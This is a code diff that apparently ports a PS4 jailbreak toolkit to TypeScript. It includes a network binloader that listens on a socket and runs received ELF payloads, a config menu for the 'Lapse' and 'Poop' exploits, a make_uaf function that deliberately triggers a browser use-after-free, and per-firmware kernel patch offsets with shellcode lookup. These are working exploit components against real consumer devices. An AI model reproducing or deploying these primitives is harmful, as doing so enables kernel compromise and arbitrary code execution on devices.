// Read payload data from client socket
|
||||
function bl_read_payload_from_socket (client_sock, max_size) {
|
||||
var payload_buf = mem.malloc(max_size)
|
||||
var total_read = 0
|
||||
function bl_read_payload_from_socket (client_sock: number, max_size: number) {
|
||||
const payload_buf = mem.malloc(max_size)
|
||||
let total_read = 0
|
||||
|
||||
while (total_read < max_size) {
|
||||
var remaining = max_size - total_read
|
||||
var chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK
|
||||
const remaining = max_size - total_read
|
||||
const chunk_size = remaining < READ_CHUNK ? remaining : READ_CHUNK
|
||||
|
||||
var read_size = read_sys(
|
||||
const read_size = read_sys(
|
||||
new BigInt(0, client_sock),
|
||||
payload_buf.add(new BigInt(0, total_read)),
|
||||
new BigInt(0, chunk_size)
|
||||
@@ -584,10 +585,10 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Load and run payload from file
|
||||
bl_load_from_file = function (path, skip_autoclose) {
|
||||
function bl_load_from_file (path: string, skip_autoclose: boolean = true) {
|
||||
log('Loading payload from: ' + path)
|
||||
|
||||
var payload = bl_read_file(path)
|
||||
const payload = bl_read_file(path)
|
||||
if (payload === null) {
|
||||
log('Failed to read payload file')
|
||||
return false
|
||||
@@ -600,19 +601,15 @@ binloader_init = function () {
|
||||
return false
|
||||
}
|
||||
|
||||
if (skip_autoclose === false) {
|
||||
BinLoader.skip_autoclose = false
|
||||
} else {
|
||||
BinLoader.skip_autoclose = true
|
||||
}
|
||||
BinLoader.skip_autoclose = skip_autoclose
|
||||
|
||||
try {
|
||||
BinLoader.init(payload.buf, payload.size)
|
||||
BinLoader.run()
|
||||
log('Payload loaded successfully')
|
||||
} catch (e) {
|
||||
log('ERROR loading payload: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
log('ERROR loading payload: ' + (e as Error).message)
|
||||
if ((e as Error).stack) log((e as Error).stack ?? '')
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -620,30 +617,30 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Network binloader (fallback)
|
||||
bl_network_loader = function () {
|
||||
function bl_network_loader () {
|
||||
log('Starting network payload server...')
|
||||
|
||||
var server_sock
|
||||
let server_sock
|
||||
try {
|
||||
server_sock = bl_create_listen_socket(BIN_LOADER_PORT)
|
||||
} catch (e) {
|
||||
log('ERROR: ' + e.message)
|
||||
utils.notify('Bin loader failed!\n' + e.message)
|
||||
log('ERROR: ' + (e as Error).message)
|
||||
utils.notify('Bin loader failed!\n' + (e as Error).message)
|
||||
return false
|
||||
}
|
||||
|
||||
var network_str = '<PS4 IP>:' + BIN_LOADER_PORT
|
||||
const network_str = '<PS4 IP>:' + BIN_LOADER_PORT
|
||||
|
||||
log('Listening on ' + network_str)
|
||||
log('Send your ELF payload to this address')
|
||||
utils.notify('Binloader listening on:\n' + network_str)
|
||||
|
||||
// Accept client connection
|
||||
var sockaddr = mem.malloc(16)
|
||||
var sockaddr_len = mem.malloc(4)
|
||||
const sockaddr = mem.malloc(16)
|
||||
const sockaddr_len = mem.malloc(4)
|
||||
mem.view(sockaddr_len).setUint32(0, 16, true)
|
||||
|
||||
var client_sock = accept_sys(
|
||||
const client_sock = accept_sys(
|
||||
new BigInt(0, server_sock),
|
||||
sockaddr,
|
||||
sockaddr_len
|
||||
@@ -655,14 +652,14 @@ binloader_init = function () {
|
||||
return false
|
||||
}
|
||||
|
||||
var client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock
|
||||
const client_sock_num = (client_sock instanceof BigInt) ? client_sock.lo : client_sock
|
||||
log('Client connected')
|
||||
|
||||
var payload
|
||||
let payload
|
||||
try {
|
||||
payload = bl_read_payload_from_socket(client_sock_num, MAX_PAYLOAD_SIZE)
|
||||
} catch (e) {
|
||||
log('ERROR reading payload: ' + e.message)
|
||||
log('ERROR reading payload: ' + (e as Error).message)
|
||||
close_sys(client_sock_num)
|
||||
close_sys(server_sock)
|
||||
return false
|
||||
@@ -686,8 +683,8 @@ binloader_init = function () {
|
||||
log('Payload loaded successfully')
|
||||
show_success()
|
||||
} catch (e) {
|
||||
log('ERROR loading payload: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
log('ERROR loading payload: ' + (e as Error).message)
|
||||
if ((e as Error).stack) log((e as Error).stack ?? '')
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -698,20 +695,20 @@ binloader_init = function () {
|
||||
function bin_loader_main () {
|
||||
log('=== PS4 Payload Loader ===')
|
||||
|
||||
for (var i = 0; i < payloads.length; i++) {
|
||||
var payload = payloads[i]
|
||||
log('Loading payload: ' + payload)
|
||||
if (bl_file_exists(payload)) {
|
||||
bl_load_from_file(payload, true)
|
||||
} else {
|
||||
log(payload + ' not found!')
|
||||
if (typeof payloads !== 'undefined') {
|
||||
for (const payload of payloads) {
|
||||
log('Loading payload: ' + payload)
|
||||
if (bl_file_exists(payload)) {
|
||||
bl_load_from_file(payload, true)
|
||||
} else {
|
||||
log(payload + ' not found!')
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Priority 1: Check for USB payload on usb0-usb4 (like BD-JB does)
|
||||
for (var i = 0; i < USB_PAYLOAD_PATHS.length; i++) {
|
||||
var usb_path = USB_PAYLOAD_PATHS[i]
|
||||
var usb_size = bl_file_exists(usb_path)
|
||||
for (const usb_path of USB_PAYLOAD_PATHS) {
|
||||
const usb_size = bl_file_exists(usb_path)
|
||||
|
||||
if (usb_size > 0) {
|
||||
log('Found USB payload: ' + usb_path + ' (' + usb_size + ' bytes)')
|
||||
@@ -730,7 +727,7 @@ binloader_init = function () {
|
||||
}
|
||||
|
||||
// Priority 2: Check for cached /data payload
|
||||
var data_size = bl_file_exists(DATA_PAYLOAD_PATH)
|
||||
const data_size = bl_file_exists(DATA_PAYLOAD_PATH)
|
||||
if (data_size > 0) {
|
||||
log('Found cached payload: ' + DATA_PAYLOAD_PATH + ' (' + data_size + ' bytes)')
|
||||
return bl_load_from_file(DATA_PAYLOAD_PATH, false)
|
||||
@@ -750,6 +747,11 @@ binloader_init = function () {
|
||||
} else {
|
||||
bl_load_from_file('/download0/payloads/elfldr.elf')
|
||||
}
|
||||
|
||||
return {
|
||||
bl_load_from_file,
|
||||
bl_network_loader
|
||||
}
|
||||
}
|
||||
|
||||
// Verify function is defined
|
||||
@@ -1,9 +1,9 @@
|
||||
var CONFIG = {
|
||||
export const CONFIG = {
|
||||
autolapse: false,
|
||||
autopoop: false,
|
||||
autoclose: false
|
||||
}
|
||||
|
||||
var payloads = [ // to be ran after jailbroken
|
||||
export const payloads = [ // to be ran after jailbroken
|
||||
'/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf'
|
||||
]
|
||||
@@ -1,3 +1,7 @@
|
||||
import { libc_addr } from 'download0/userland'
|
||||
import { stats } from 'download0/stats-tracker'
|
||||
import { lang } from 'download0/languages'
|
||||
|
||||
if (typeof libc_addr === 'undefined') {
|
||||
include('userland.js')
|
||||
}
|
||||
@@ -9,9 +13,9 @@ if (typeof lang === 'undefined') {
|
||||
(function () {
|
||||
log(lang.loadingConfig)
|
||||
|
||||
var fs = {
|
||||
write: function (filename, content, callback) {
|
||||
var xhr = new jsmaf.XMLHttpRequest()
|
||||
const fs = {
|
||||
write: function (filename: string, content: string, callback: (error: Error | null) => void) {
|
||||
const xhr = new jsmaf.XMLHttpRequest()
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState === 4 && callback) {
|
||||
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'))
|
||||
@@ -21,8 +25,8 @@ if (typeof lang === 'undefined') {
|
||||
xhr.send(content)
|
||||
},
|
||||
|
||||
read: function (filename, callback) {
|
||||
var xhr = new jsmaf.XMLHttpRequest()
|
||||
read: function (filename: string, callback: (error: Error | null, data?: string) => void) {
|
||||
const xhr = new jsmaf.XMLHttpRequest()
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState === 4 && callback) {
|
||||
callback(xhr.status === 0 || xhr.status === 200 ? null : new Error('failed'), xhr.responseText)
|
||||
@@ -33,29 +37,29 @@ if (typeof lang === 'undefined') {
|
||||
}
|
||||
}
|
||||
|
||||
var currentConfig = {
|
||||
const currentConfig = {
|
||||
autolapse: false,
|
||||
autopoop: false,
|
||||
autoclose: false
|
||||
}
|
||||
|
||||
var currentButton = 0
|
||||
var buttons = []
|
||||
var buttonTexts = []
|
||||
var buttonMarkers = []
|
||||
var buttonOrigPos = []
|
||||
var textOrigPos = []
|
||||
var valueTexts = []
|
||||
let currentButton = 0
|
||||
const buttons: Image[] = []
|
||||
const buttonTexts: jsmaf.Text[] = []
|
||||
const buttonMarkers: (Image | null)[] = []
|
||||
const buttonOrigPos: { x: number; y: number }[] = []
|
||||
const textOrigPos: { x: number; y: number }[] = []
|
||||
const valueTexts: Image[] = []
|
||||
|
||||
var normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
const normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
const selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
|
||||
jsmaf.root.children.length = 0
|
||||
|
||||
new Style({name: 'white', color: 'white', size: 24})
|
||||
new Style({name: 'title', color: 'white', size: 32})
|
||||
new Style({ name: 'white', color: 'white', size: 24 })
|
||||
new Style({ name: 'title', color: 'white', size: 32 })
|
||||
|
||||
var background = new Image({
|
||||
const background = new Image({
|
||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||
x: 0,
|
||||
y: 0,
|
||||
@@ -64,7 +68,7 @@ if (typeof lang === 'undefined') {
|
||||
})
|
||||
jsmaf.root.children.push(background)
|
||||
|
||||
var logo = new Image({
|
||||
const logo = new Image({
|
||||
url: 'file:///../download0/img/logo.png',
|
||||
x: 1620,
|
||||
y: 0,
|
||||
@@ -73,10 +77,10 @@ if (typeof lang === 'undefined') {
|
||||
})
|
||||
jsmaf.root.children.push(logo)
|
||||
|
||||
var title = new jsmaf.Text()
|
||||
const title = new jsmaf.Text()
|
||||
title.text = lang.config
|
||||
title.x = 910
|
||||
title.y = 120
|
||||
title.x = 20
|
||||
title.y = 40
|
||||
title.style = 'title'
|
||||
jsmaf.root.children.push(title)
|
||||
|
||||
@@ -85,10 +89,10 @@ if (typeof lang === 'undefined') {
|
||||
|
||||
// Load and display stats
|
||||
stats.load()
|
||||
var statsData = stats.get()
|
||||
const statsData = stats.get()
|
||||
|
||||
// Create text elements for each stat
|
||||
var statsToDisplay = [
|
||||
const statsToDisplay = [
|
||||
lang.totalAttempts + statsData.total,
|
||||
lang.successes + statsData.success,
|
||||
lang.failures + statsData.failures,
|
||||
@@ -97,32 +101,33 @@ if (typeof lang === 'undefined') {
|
||||
]
|
||||
|
||||
// Display each stat line
|
||||
for (var i = 0; i < statsToDisplay.length; i++) {
|
||||
var lineText = new jsmaf.Text()
|
||||
lineText.text = statsToDisplay[i]
|
||||
for (let i = 0; i < statsToDisplay.length; i++) {
|
||||
const lineText = new jsmaf.Text()
|
||||
lineText.text = statsToDisplay[i]!
|
||||
lineText.x = 20
|
||||
lineText.y = 120 + (i * 20)
|
||||
lineText.style = 'white'
|
||||
jsmaf.root.children.push(lineText)
|
||||
}
|
||||
|
||||
var configOptions = [
|
||||
const configOptions = [
|
||||
{ key: 'autolapse', label: lang.autoLapse, textImg: 'auto_lapse_btn_txt.png' },
|
||||
{ key: 'autopoop', label: lang.autoPoop, textImg: 'auto_poop_btn_txt.png' },
|
||||
{ key: 'autoclose', label: lang.autoClose, textImg: 'auto_close_btn_txt.png' }
|
||||
]
|
||||
|
||||
var centerX = 960
|
||||
var startY = 300
|
||||
var buttonSpacing = 120
|
||||
var buttonWidth = 400
|
||||
var buttonHeight = 80
|
||||
const centerX = 960
|
||||
const startY = 300
|
||||
const buttonSpacing = 120
|
||||
const buttonWidth = 400
|
||||
const buttonHeight = 80
|
||||
|
||||
for (var i = 0; i < configOptions.length; i++) {
|
||||
var btnX = centerX - buttonWidth / 2
|
||||
var btnY = startY + i * buttonSpacing
|
||||
for (let i = 0; i < configOptions.length; i++) {
|
||||
const configOption = configOptions[i]!
|
||||
const btnX = centerX - buttonWidth / 2
|
||||
const btnY = startY + i * buttonSpacing
|
||||
|
||||
var button = new Image({
|
||||
const button = new Image({
|
||||
url: normalButtonImg,
|
||||
x: btnX,
|
||||
y: btnY,
|
||||
@@ -134,16 +139,17 @@ if (typeof lang === 'undefined') {
|
||||
|
||||
buttonMarkers.push(null)
|
||||
|
||||
var btnText = new jsmaf.Text()
|
||||
btnText.text = configOptions[i].label
|
||||
btnText.x = btnX + 30
|
||||
btnText.y = btnY + 28
|
||||
const btnText = new jsmaf.Text()
|
||||
btnText.text = configOption.label
|
||||
btnText.x = btnX + 20
|
||||
btnText.y = btnY + 20
|
||||
btnText.style = 'white'
|
||||
jsmaf.root.children.push(btnText)
|
||||
buttonTexts.push(btnText)
|
||||
jsmaf.root.children.push(btnText)
|
||||
|
||||
var checkmark = new Image({
|
||||
url: currentConfig[configOptions[i].key] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png',
|
||||
const checkmark = new Image({
|
||||
url: currentConfig[configOption.key as keyof typeof currentConfig] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png',
|
||||
x: btnX + 320,
|
||||
y: btnY + 20,
|
||||
width: 40,
|
||||
@@ -152,14 +158,14 @@ if (typeof lang === 'undefined') {
|
||||
valueTexts.push(checkmark)
|
||||
jsmaf.root.children.push(checkmark)
|
||||
|
||||
buttonOrigPos.push({x: btnX, y: btnY})
|
||||
textOrigPos.push({x: btnText.x, y: btnText.y})
|
||||
buttonOrigPos.push({ x: btnX, y: btnY })
|
||||
textOrigPos.push({ x: btnText.x, y: btnText.y })
|
||||
}
|
||||
|
||||
var backX = centerX - buttonWidth / 2
|
||||
var backY = startY + configOptions.length * buttonSpacing + 100
|
||||
const backX = centerX - buttonWidth / 2
|
||||
const backY = startY + configOptions.length * buttonSpacing + 100
|
||||
|
||||
var backButton = new Image({
|
||||
const backButton = new Image({
|
||||
url: normalButtonImg,
|
||||
x: backX,
|
||||
y: backY,
|
||||
@@ -169,7 +175,7 @@ if (typeof lang === 'undefined') {
|
||||
buttons.push(backButton)
|
||||
jsmaf.root.children.push(backButton)
|
||||
|
||||
var backMarker = new Image({
|
||||
const backMarker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: backX + buttonWidth - 50,
|
||||
y: backY + 35,
|
||||
@@ -180,7 +186,7 @@ if (typeof lang === 'undefined') {
|
||||
buttonMarkers.push(backMarker)
|
||||
jsmaf.root.children.push(backMarker)
|
||||
|
||||
var backText = new jsmaf.Text()
|
||||
const backText = new jsmaf.Text()
|
||||
backText.text = lang.back
|
||||
backText.x = backX + buttonWidth / 2 - 20
|
||||
backText.y = backY + buttonHeight / 2 - 12
|
||||
@@ -188,32 +194,32 @@ if (typeof lang === 'undefined') {
|
||||
buttonTexts.push(backText)
|
||||
jsmaf.root.children.push(backText)
|
||||
|
||||
buttonOrigPos.push({x: backX, y: backY})
|
||||
textOrigPos.push({x: backText.x, y: backText.y})
|
||||
buttonOrigPos.push({ x: backX, y: backY })
|
||||
textOrigPos.push({ x: backText.x, y: backText.y })
|
||||
|
||||
var zoomInInterval = null
|
||||
var zoomOutInterval = null
|
||||
var prevButton = -1
|
||||
let zoomInInterval: number | null = null
|
||||
let zoomOutInterval: number | null = null
|
||||
let prevButton = -1
|
||||
|
||||
function easeInOut (t) {
|
||||
function easeInOut (t: number) {
|
||||
return (1 - Math.cos(t * Math.PI)) / 2
|
||||
}
|
||||
|
||||
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
||||
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||
var btnW = buttonWidth
|
||||
var btnH = buttonHeight
|
||||
var startScale = btn.scaleX || 1.0
|
||||
var endScale = 1.1
|
||||
var duration = 175
|
||||
var elapsed = 0
|
||||
var step = 16
|
||||
const btnW = buttonWidth
|
||||
const btnH = buttonHeight
|
||||
const startScale = btn.scaleX || 1.0
|
||||
const endScale = 1.1
|
||||
const duration = 175
|
||||
let elapsed = 0
|
||||
const step = 16
|
||||
|
||||
zoomInInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
var t = Math.min(elapsed / duration, 1)
|
||||
var eased = easeInOut(t)
|
||||
var scale = startScale + (endScale - startScale) * eased
|
||||
const t = Math.min(elapsed / duration, 1)
|
||||
const eased = easeInOut(t)
|
||||
const scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
@@ -225,27 +231,27 @@ if (typeof lang === 'undefined') {
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomInInterval)
|
||||
jsmaf.clearInterval(zoomInInterval ?? -1)
|
||||
zoomInInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
||||
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
|
||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||
var btnW = buttonWidth
|
||||
var btnH = buttonHeight
|
||||
var startScale = btn.scaleX || 1.1
|
||||
var endScale = 1.0
|
||||
var duration = 175
|
||||
var elapsed = 0
|
||||
var step = 16
|
||||
const btnW = buttonWidth
|
||||
const btnH = buttonHeight
|
||||
const startScale = btn.scaleX || 1.1
|
||||
const endScale = 1.0
|
||||
const duration = 175
|
||||
let elapsed = 0
|
||||
const step = 16
|
||||
|
||||
zoomOutInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
var t = Math.min(elapsed / duration, 1)
|
||||
var eased = easeInOut(t)
|
||||
var scale = startScale + (endScale - startScale) * eased
|
||||
const t = Math.min(elapsed / duration, 1)
|
||||
const eased = easeInOut(t)
|
||||
const scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
@@ -257,7 +263,7 @@ if (typeof lang === 'undefined') {
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomOutInterval)
|
||||
jsmaf.clearInterval(zoomOutInterval ?? -1)
|
||||
zoomOutInterval = null
|
||||
}
|
||||
}, step)
|
||||
@@ -265,57 +271,68 @@ if (typeof lang === 'undefined') {
|
||||
|
||||
function updateHighlight () {
|
||||
// Animate out the previous button
|
||||
if (prevButton >= 0 && prevButton !== currentButton) {
|
||||
buttons[prevButton].url = normalButtonImg
|
||||
buttons[prevButton].alpha = 0.7
|
||||
buttons[prevButton].borderColor = 'transparent'
|
||||
buttons[prevButton].borderWidth = 0
|
||||
if (buttonMarkers[prevButton]) buttonMarkers[prevButton].visible = false
|
||||
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
|
||||
const prevButtonObj = buttons[prevButton]
|
||||
const buttonMarker = buttonMarkers[prevButton]
|
||||
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) {
|
||||
prevButtonObj.url = normalButtonImg
|
||||
prevButtonObj.alpha = 0.7
|
||||
prevButtonObj.borderColor = 'transparent'
|
||||
prevButtonObj.borderWidth = 0
|
||||
if (buttonMarker) buttonMarker.visible = false
|
||||
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
|
||||
}
|
||||
|
||||
// Set styles for all buttons
|
||||
for (var i = 0; i < buttons.length; i++) {
|
||||
for (let i = 0; i < buttons.length; i++) {
|
||||
const button = buttons[i]
|
||||
const buttonMarker = buttonMarkers[i]
|
||||
const buttonText = buttonTexts[i]
|
||||
const buttonOrigPos_ = buttonOrigPos[i]
|
||||
const textOrigPos_ = textOrigPos[i]
|
||||
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue
|
||||
if (i === currentButton) {
|
||||
buttons[i].url = selectedButtonImg
|
||||
buttons[i].alpha = 1.0
|
||||
buttons[i].borderColor = 'rgb(100,180,255)'
|
||||
buttons[i].borderWidth = 3
|
||||
if (buttonMarkers[i]) buttonMarkers[i].visible = true
|
||||
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
|
||||
button.url = selectedButtonImg
|
||||
button.alpha = 1.0
|
||||
button.borderColor = 'rgb(100,180,255)'
|
||||
button.borderWidth = 3
|
||||
if (buttonMarker) buttonMarker.visible = true
|
||||
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
|
||||
} else if (i !== prevButton) {
|
||||
buttons[i].url = normalButtonImg
|
||||
buttons[i].alpha = 0.7
|
||||
buttons[i].borderColor = 'transparent'
|
||||
buttons[i].borderWidth = 0
|
||||
buttons[i].scaleX = 1.0
|
||||
buttons[i].scaleY = 1.0
|
||||
buttons[i].x = buttonOrigPos[i].x
|
||||
buttons[i].y = buttonOrigPos[i].y
|
||||
buttonTexts[i].scaleX = 1.0
|
||||
buttonTexts[i].scaleY = 1.0
|
||||
buttonTexts[i].x = textOrigPos[i].x
|
||||
buttonTexts[i].y = textOrigPos[i].y
|
||||
if (buttonMarkers[i]) buttonMarkers[i].visible = false
|
||||
button.url = normalButtonImg
|
||||
button.alpha = 0.7
|
||||
button.borderColor = 'transparent'
|
||||
button.borderWidth = 0
|
||||
button.scaleX = 1.0
|
||||
button.scaleY = 1.0
|
||||
button.x = buttonOrigPos_.x
|
||||
button.y = buttonOrigPos_.y
|
||||
buttonText.scaleX = 1.0
|
||||
buttonText.scaleY = 1.0
|
||||
buttonText.x = textOrigPos_.x
|
||||
buttonText.y = textOrigPos_.y
|
||||
if (buttonMarker) buttonMarker.visible = false
|
||||
}
|
||||
}
|
||||
|
||||
prevButton = currentButton
|
||||
}
|
||||
|
||||
function updateValueText (index) {
|
||||
var key = configOptions[index].key
|
||||
var value = currentConfig[key]
|
||||
valueTexts[index].url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png'
|
||||
function updateValueText (index: number) {
|
||||
const options = configOptions[index]
|
||||
const valueText = valueTexts[index]
|
||||
if (!options || !valueText) return
|
||||
const key = options.key
|
||||
const value = currentConfig[key as keyof typeof currentConfig]
|
||||
valueText.url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png'
|
||||
}
|
||||
|
||||
function saveConfig () {
|
||||
var configContent = 'var CONFIG = {\n'
|
||||
let configContent = 'const CONFIG = {\n'
|
||||
configContent += ' autolapse: ' + currentConfig.autolapse + ', \n'
|
||||
configContent += ' autopoop: ' + currentConfig.autopoop + ',\n'
|
||||
configContent += ' autoclose: ' + currentConfig.autoclose + '\n'
|
||||
configContent += '};\n\n'
|
||||
configContent += 'var payloads = [ //to be ran after jailbroken\n'
|
||||
configContent += 'const payloads = [ //to be ran after jailbroken\n'
|
||||
configContent += ' "/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf"\n'
|
||||
configContent += '];\n'
|
||||
|
||||
@@ -329,26 +346,26 @@ if (typeof lang === 'undefined') {
|
||||
}
|
||||
|
||||
function loadConfig () {
|
||||
fs.read('config.js', function (err, data) {
|
||||
fs.read('config.js', function (err: Error | null, data?: string) {
|
||||
if (err) {
|
||||
log('ERROR: Failed to read config: ' + err.message)
|
||||
return
|
||||
}
|
||||
|
||||
try {
|
||||
eval(data) // eslint-disable-line no-eval
|
||||
eval(data || '') // eslint-disable-line no-eval
|
||||
if (typeof CONFIG !== 'undefined') {
|
||||
currentConfig.autolapse = CONFIG.autolapse || false
|
||||
currentConfig.autopoop = CONFIG.autopoop || false
|
||||
currentConfig.autoclose = CONFIG.autoclose || false
|
||||
|
||||
for (var i = 0; i < configOptions.length; i++) {
|
||||
for (let i = 0; i < configOptions.length; i++) {
|
||||
updateValueText(i)
|
||||
}
|
||||
log('Config loaded successfully')
|
||||
}
|
||||
} catch (e) {
|
||||
log('ERROR: Failed to parse config: ' + e.message)
|
||||
log('ERROR: Failed to parse config: ' + (e as Error).message)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -359,16 +376,16 @@ if (typeof lang === 'undefined') {
|
||||
try {
|
||||
include('main-menu.js')
|
||||
} catch (e) {
|
||||
log('ERROR loading main-menu.js: ' + e.message)
|
||||
log('ERROR loading main-menu.js: ' + (e as Error).message)
|
||||
}
|
||||
} else if (currentButton < configOptions.length) {
|
||||
var key = configOptions[currentButton].key
|
||||
currentConfig[key] = !currentConfig[key]
|
||||
const key = configOptions[currentButton]!.key
|
||||
currentConfig[key as keyof typeof currentConfig] = !currentConfig[key as keyof typeof currentConfig]
|
||||
|
||||
if (key === 'autolapse' && currentConfig[key] === true) {
|
||||
currentConfig.autopoop = false
|
||||
for (var i = 0; i < configOptions.length; i++) {
|
||||
if (configOptions[i].key === 'autopoop') {
|
||||
for (let i = 0; i < configOptions.length; i++) {
|
||||
if (configOptions[i]!.key === 'autopoop') {
|
||||
updateValueText(i)
|
||||
break
|
||||
}
|
||||
@@ -376,8 +393,8 @@ if (typeof lang === 'undefined') {
|
||||
log('autopoop disabled (autolapse enabled)')
|
||||
} else if (key === 'autopoop' && currentConfig[key] === true) {
|
||||
currentConfig.autolapse = false
|
||||
for (var i = 0; i < configOptions.length; i++) {
|
||||
if (configOptions[i].key === 'autolapse') {
|
||||
for (let i = 0; i < configOptions.length; i++) {
|
||||
if (configOptions[i]!.key === 'autolapse') {
|
||||
updateValueText(i)
|
||||
break
|
||||
}
|
||||
@@ -385,7 +402,7 @@ if (typeof lang === 'undefined') {
|
||||
log('autolapse disabled (autopoop enabled)')
|
||||
}
|
||||
|
||||
log(key + ' = ' + currentConfig[key])
|
||||
log(key + ' = ' + currentConfig[key as keyof typeof currentConfig])
|
||||
updateValueText(currentButton)
|
||||
saveConfig()
|
||||
}
|
||||
@@ -405,7 +422,7 @@ if (typeof lang === 'undefined') {
|
||||
try {
|
||||
include('main-menu.js')
|
||||
} catch (e) {
|
||||
log('ERROR loading main-menu.js: ' + e.message)
|
||||
log('ERROR loading main-menu.js: ' + (e as Error).message)
|
||||
}
|
||||
}
|
||||
}
|
||||
Executable → Regular
+8
-4
@@ -1,7 +1,11 @@
|
||||
function make_uaf (arr) {
|
||||
var o = {}
|
||||
for (var i in { xx: '' }) {
|
||||
for (i of [arr]) {} // eslint-disable-line no-empty
|
||||
import { struct } from './types'
|
||||
|
||||
export function make_uaf (arr: DataView) {
|
||||
const o = {}
|
||||
for (let i in { xx: '' }) {
|
||||
// @ts-expect-error need to confuse variable i
|
||||
for (i of [arr]);
|
||||
// @ts-expect-error need to access it as well
|
||||
o[i]
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
import { BigInt, mem, fn, utils, syscalls } from 'download0/types'
|
||||
|
||||
/** *** kernel_offset.js *****/
|
||||
|
||||
// PS4 Kernel Offsets for Lapse exploit
|
||||
@@ -35,7 +37,7 @@ const kpatch_shellcode = {
|
||||
|
||||
// Mmap RWX patch offsets per firmware (for verification)
|
||||
// These are the offsets where 0x33 is patched to 0x37
|
||||
const kpatch_mmap_offsets = {
|
||||
const kpatch_mmap_offsets: Record<string, [number, number]> = {
|
||||
// TODO: missing 5.00 to 8.50
|
||||
5.55: [0x3c2899, 0x3c289c], // TODO: verify
|
||||
5.56: [0x24026d, 0x240270], // TODO: verify
|
||||
@@ -110,9 +112,9 @@ const shellcode_fw_map = {
|
||||
'13.00': '13.00',
|
||||
}
|
||||
|
||||
function get_mmap_patch_offsets (fw_version) {
|
||||
export function get_mmap_patch_offsets (fw_version: string): [number, number] | null {
|
||||
// Normalize version
|
||||
var lookup = fw_version
|
||||
let lookup = fw_version
|
||||
if (fw_version === '9.04') lookup = '9.03'
|
||||
else if (fw_version === '9.51' || fw_version === '9.60') lookup = '9.50'
|
||||
else if (fw_version === '10.01') lookup = '10.00'
|
||||
@@ -120,21 +122,21 @@ function get_mmap_patch_offsets (fw_version) {
|
||||
else if (fw_version === '11.52') lookup = '11.50'
|
||||
else if (fw_version === '12.02') lookup = '12.00'
|
||||
|
||||
return kpatch_mmap_offsets[lookup] || null
|
||||
return kpatch_mmap_offsets[lookup as keyof typeof kpatch_mmap_offsets] || null
|
||||
}
|
||||
|
||||
// Helper to convert hex string to byte array
|
||||
function hexToBytes (hex) {
|
||||
function hexToBytes (hex: string) {
|
||||
const bytes = []
|
||||
for (var i = 0; i < hex.length; i += 2) {
|
||||
bytes.push(parseInt(hex.substr(i, 2), 16))
|
||||
for (let i = 0; i < hex.length; i += 2) {
|
||||
bytes.push(parseInt(hex.slice(i, i + 2), 16))
|
||||
}
|
||||
return bytes
|
||||
}
|
||||
|
||||
// Get kernel patch shellcode for firmware version
|
||||
function get_kpatch_shellcode (fw_version) {
|
||||
const hex = kpatch_shellcode[shellcode_fw_map[fw_version]]
|
||||
function get_kpatch_shellcode (fw_version: string) {
|
||||
